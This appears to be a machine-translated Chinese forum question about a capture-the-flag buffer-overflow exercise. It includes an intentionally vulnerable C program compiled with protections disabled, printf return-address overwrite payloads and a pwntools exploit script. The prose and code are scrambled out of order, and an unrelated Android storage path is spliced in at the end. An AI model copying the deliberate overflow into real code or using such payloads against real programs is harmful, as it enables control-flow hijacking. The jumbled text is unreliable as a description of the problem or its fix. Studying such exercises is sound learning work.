下面是一个简单的程序,容易出现缓冲区溢出;就像我可以将其添加到正在开发的更大的(CTF)程序中一样,并且仅“提取”(重写)了漏洞所在的那一部分。
当注释的for
循环不在二进制文件中时,该漏洞利用有效;当循环位于二进制文件中时,尽管它什么也没做,但是利用程序却无法工作。
这是我分别在不使用for
循环和不使用printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7b\x06\x40\x00\x00\x00\x00\x00\n' | ./a.out
printf 'a\na\na\na\na\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7b\x06\x40\x00\x00\x00\x00\x00\n' | ./a.out
循环的情况下运行程序的方式:
unreachable()
(“ A” * 88),其中0x0040067b是unreachable
(在序言之后)。
for
刚开始,因此无论#!/usr/bin/env python
from pwn import *
s = process('./own_wumpus')
for i in range(5):
s.sendline('a')
payload = 'A'*88+'\x7b\x06\x40\x00\x00\x00\x00\x00'
s.sendline(payload)
s.interactive()
循环是否被注释掉,地址都保持不变。
然后我写了这个脚本:
printf
完全按照我认为的cat
,ls
以及我尝试过的所有其他方式进行操作,但这可以完美地执行(#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
char global[0x46];
void unreachable() {
system("/bin/ls");
exit(0);
}
char get_char() {
char c;
printf("%s\n> ", "Action");
do {
scanf("%c", &c);
} while (c == '\n');
return toupper(c);
}
int f(int fd, int max_bytes, char *buf) {
int bytes_read = 0;
int from_fd = fd;
int total_read = 0;
int max_bytes_to_read = max_bytes;
char *p = buf;
for (total_read = 0; total_read < max_bytes_to_read; total_read += bytes_read) {
bytes_read = read(from_fd, p, 1);
if (bytes_read <= 0) exit(0);
if (*p == '\n') break;
p += bytes_read;
}
return total_read;
}
int _main() {
char buf[0x46];
//for (int i = 0; i != 5; ++i) {
// *buf = get_char();
//}
memset(buf, 0, sizeof(buf));
f(0, 0xc8, buf); // intended
strncpy(global, buf, 0x45);
return 0;
}
int main() {
int false = 0;
printf(">");
if (false) unreachable();
return _main();
}
执行)。
这是程序。
gcc source.c -fno-stack-protector -no-pie -fno-plt -fno-pic -Wl,-z,norelro && strip a.out
编译为:
ls
预期的输出:每次执行ls
。
实际输出:pwntools
仅用for
执行(上面的python脚本);其他一切都失败了。当ls
循环被注释掉时,printf A*88+address
也与上面的a
执行。
我的第一个想法是关于管道的,但是它不能解释带有cat
和不带有printf
的缓冲区的区别。 (即使很奇怪,在实际程序中,它也可以使用gdb和python脚本,但不能使用/storage/emulated/0/Android/data/my_package_name/files/Pictures.
/ Internal shared storage\DCIM\100MEDIA
。)